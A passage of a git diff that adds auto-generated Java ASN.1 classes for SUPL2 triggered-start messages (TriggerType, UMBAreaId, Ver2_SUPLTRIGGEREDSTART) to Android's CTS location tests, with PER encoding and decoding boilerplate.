+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_TriggerType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public TriggerType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_TriggerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_TriggerType != null) {
+ return ImmutableList.of(TAG_TriggerType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new TriggerType from encoded stream.
+ */
+ public static TriggerType fromPerUnaligned(byte[] encodedBytes) {
+ TriggerType result = new TriggerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new TriggerType from encoded stream.
+ */
+ public static TriggerType fromPerAligned(byte[] encodedBytes) {
+ TriggerType result = new TriggerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "TriggerType = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/UMBAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/UMBAreaId.java
new file mode 100755
index 0000000..45dd62e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/UMBAreaId.java
@@ -0,0 +1,590 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UMBAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UMBAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UMBAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UMBAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UMBAreaId != null) {
+ return ImmutableList.of(TAG_UMBAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UMBAreaId from encoded stream.
+ */
+ public static UMBAreaId fromPerUnaligned(byte[] encodedBytes) {
+ UMBAreaId result = new UMBAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UMBAreaId from encoded stream.
+ */
+ public static UMBAreaId fromPerAligned(byte[] encodedBytes) {
+ UMBAreaId result = new UMBAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UMBAreaId.refMCCType refMCC_;
+ public UMBAreaId.refMCCType getRefMCC() {
+ return refMCC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UMBAreaId.refMCCType
+ */
+ public void setRefMCC(Asn1Object value) {
+ this.refMCC_ = (UMBAreaId.refMCCType) value;
+ }
+ public UMBAreaId.refMCCType setRefMCCToNewInstance() {
+ refMCC_ = new UMBAreaId.refMCCType();
+ return refMCC_;
+ }
+
+ private UMBAreaId.refMNCType refMNC_;
+ public UMBAreaId.refMNCType getRefMNC() {
+ return refMNC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UMBAreaId.refMNCType
+ */
+ public void setRefMNC(Asn1Object value) {
+ this.refMNC_ = (UMBAreaId.refMNCType) value;
+ }
+ public UMBAreaId.refMNCType setRefMNCToNewInstance() {
+ refMNC_ = new UMBAreaId.refMNCType();
+ return refMNC_;
+ }
+
+ private UMBAreaId.refSECTORIDType refSECTORID_;
+ public UMBAreaId.refSECTORIDType getRefSECTORID() {
+ return refSECTORID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UMBAreaId.refSECTORIDType
+ */
+ public void setRefSECTORID(Asn1Object value) {
+ this.refSECTORID_ = (UMBAreaId.refSECTORIDType) value;
+ }
+ public UMBAreaId.refSECTORIDType setRefSECTORIDToNewInstance() {
+ refSECTORID_ = new UMBAreaId.refSECTORIDType();
+ return refSECTORID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMCC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMCC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMCCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UMBAreaId.refMCCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMCC : "
+ + getRefMCC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMNC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMNC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMNCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UMBAreaId.refMNCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMNC : "
+ + getRefMNC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSECTORID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSECTORID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSECTORIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UMBAreaId.refSECTORIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSECTORID : "
+ + getRefSECTORID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMCCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMCCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMCCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMCCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMCCType != null) {
+ return ImmutableList.of(TAG_refMCCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerUnaligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerAligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMCCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMNCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMNCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMNCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMNCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMNCType != null) {
+ return ImmutableList.of(TAG_refMNCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerUnaligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerAligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMNCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSECTORIDType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_refSECTORIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSECTORIDType() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSECTORIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSECTORIDType != null) {
+ return ImmutableList.of(TAG_refSECTORIDType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerUnaligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerAligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSECTORIDType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UMBAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
new file mode 100755
index 0000000..0dfc93c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/Ver2_SUPLTRIGGEREDSTART.java
@@ -0,0 +1,894 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_start.SETCapabilities;
+import android.location.cts.asn1.supl2.ulp_components.LocationId;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ulp_components.QoP;
+import android.location.cts.asn1.supl2.ulp_components.Ver;
+import android.location.cts.asn1.supl2.ver2_ulp_components.ApplicationID;
+import android.location.cts.asn1.supl2.ver2_ulp_components.CauseCode;
+import android.location.cts.asn1.supl2.ver2_ulp_components.MultipleLocationIds;
+import android.location.cts.asn1.supl2.ver2_ulp_components.ReportingCap;
+import android.location.cts.asn1.supl2.ver2_ulp_components.ThirdParty;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPLTRIGGEREDSTART extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPLTRIGGEREDSTART
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPLTRIGGEREDSTART() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPLTRIGGEREDSTART;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPLTRIGGEREDSTART != null) {
+ return ImmutableList.of(TAG_Ver2_SUPLTRIGGEREDSTART);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPLTRIGGEREDSTART from encoded stream.
+ */
+ public static Ver2_SUPLTRIGGEREDSTART fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPLTRIGGEREDSTART result = new Ver2_SUPLTRIGGEREDSTART();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPLTRIGGEREDSTART from encoded stream.
+ */
+ public static Ver2_SUPLTRIGGEREDSTART fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPLTRIGGEREDSTART result = new Ver2_SUPLTRIGGEREDSTART();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SETCapabilities sETCapabilities_;
+ public SETCapabilities getSETCapabilities() {
+ return sETCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETCapabilities
+ */
+ public void setSETCapabilities(Asn1Object value) {
+ this.sETCapabilities_ = (SETCapabilities) value;
+ }
+ public SETCapabilities setSETCapabilitiesToNewInstance() {
+ sETCapabilities_ = new SETCapabilities();
+ return sETCapabilities_;
+ }
+
+ private LocationId locationId_;
+ public LocationId getLocationId() {
+ return locationId_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationId
+ */
+ public void setLocationId(Asn1Object value) {
+ this.locationId_ = (LocationId) value;
+ }
+ public LocationId setLocationIdToNewInstance() {
+ locationId_ = new LocationId();
+ return locationId_;
+ }
+
+ private Ver ver_;
+ public Ver getVer() {
+ return ver_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver
+ */
+ public void setVer(Asn1Object value) {
+ this.ver_ = (Ver) value;
+ }
+ public Ver setVerToNewInstance() {
+ ver_ = new Ver();
+ return ver_;
+ }
+
+ private QoP qoP_;
+ public QoP getQoP() {
+ return qoP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP
+ */
+ public void setQoP(Asn1Object value) {
+ this.qoP_ = (QoP) value;
+ }
+ public QoP setQoPToNewInstance() {
+ qoP_ = new QoP();
+ return qoP_;
+ }
+
+ private MultipleLocationIds multipleLocationIds_;
+ public MultipleLocationIds getMultipleLocationIds() {
+ return multipleLocationIds_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleLocationIds
+ */
+ public void setMultipleLocationIds(Asn1Object value) {
+ this.multipleLocationIds_ = (MultipleLocationIds) value;
+ }
+ public MultipleLocationIds setMultipleLocationIdsToNewInstance() {
+ multipleLocationIds_ = new MultipleLocationIds();
+ return multipleLocationIds_;
+ }
+
+ private ThirdParty thirdParty_;
+ public ThirdParty getThirdParty() {
+ return thirdParty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ThirdParty
+ */
+ public void setThirdParty(Asn1Object value) {
+ this.thirdParty_ = (ThirdParty) value;
+ }
+ public ThirdParty setThirdPartyToNewInstance() {
+ thirdParty_ = new ThirdParty();
+ return thirdParty_;
+ }
+
+ private ApplicationID applicationID_;
+ public ApplicationID getApplicationID() {
+ return applicationID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ApplicationID
+ */
+ public void setApplicationID(Asn1Object value) {
+ this.applicationID_ = (ApplicationID) value;
+ }
+ public ApplicationID setApplicationIDToNewInstance() {
+ applicationID_ = new ApplicationID();
+ return applicationID_;
+ }
+
+ private TriggerType triggerType_;
+ public TriggerType getTriggerType() {
+ return triggerType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TriggerType
+ */
+ public void setTriggerType(Asn1Object value) {
+ this.triggerType_ = (TriggerType) value;
+ }
+ public TriggerType setTriggerTypeToNewInstance() {
+ triggerType_ = new TriggerType();
+ return triggerType_;
+ }
+
+ private TriggerParams triggerParams_;
+ public TriggerParams getTriggerParams() {
+ return triggerParams_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TriggerParams
+ */
+ public void setTriggerParams(Asn1Object value) {
+ this.triggerParams_ = (TriggerParams) value;
+ }
+ public TriggerParams setTriggerParamsToNewInstance() {
+ triggerParams_ = new TriggerParams();
+ return triggerParams_;
+ }
+
+ private Position position_;
+ public Position getPosition() {
+ return position_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Position
+ */
+ public void setPosition(Asn1Object value) {
+ this.position_ = (Position) value;
+ }
+ public Position setPositionToNewInstance() {
+ position_ = new Position();
+ return position_;
+ }
+
+ private ReportingCap reportingCap_;
+ public ReportingCap getReportingCap() {
+ return reportingCap_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingCap
+ */
+ public void setReportingCap(Asn1Object value) {
+ this.reportingCap_ = (ReportingCap) value;
+ }
+ public ReportingCap setReportingCapToNewInstance() {
+ reportingCap_ = new ReportingCap();
+ return reportingCap_;
+ }
+
+ private CauseCode causeCode_;
+ public CauseCode getCauseCode() {
+ return causeCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CauseCode
+ */
+ public void setCauseCode(Asn1Object value) {
+ this.causeCode_ = (CauseCode) value;
+ }
+ public CauseCode setCauseCodeToNewInstance() {
+ causeCode_ = new CauseCode();
+ return causeCode_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSETCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSETCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setSETCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sETCapabilities : "
+ + getSETCapabilities().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationId() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationId();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationIdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationId : "
+ + getLocationId().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getVer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVer();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver : "
+ + getVer().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getQoP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getQoP();
+ }
+
+ @Override public void setToNewInstance() {
+ setQoPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "qoP : "
+ + getQoP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultipleLocationIds() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultipleLocationIds();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultipleLocationIdsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleLocationIds.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multipleLocationIds : "
+ + getMultipleLocationIds().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getThirdParty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getThirdParty();
+ }
+
+ @Override public void setToNewInstance() {
+ setThirdPartyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdParty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "thirdParty : "
+ + getThirdParty().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
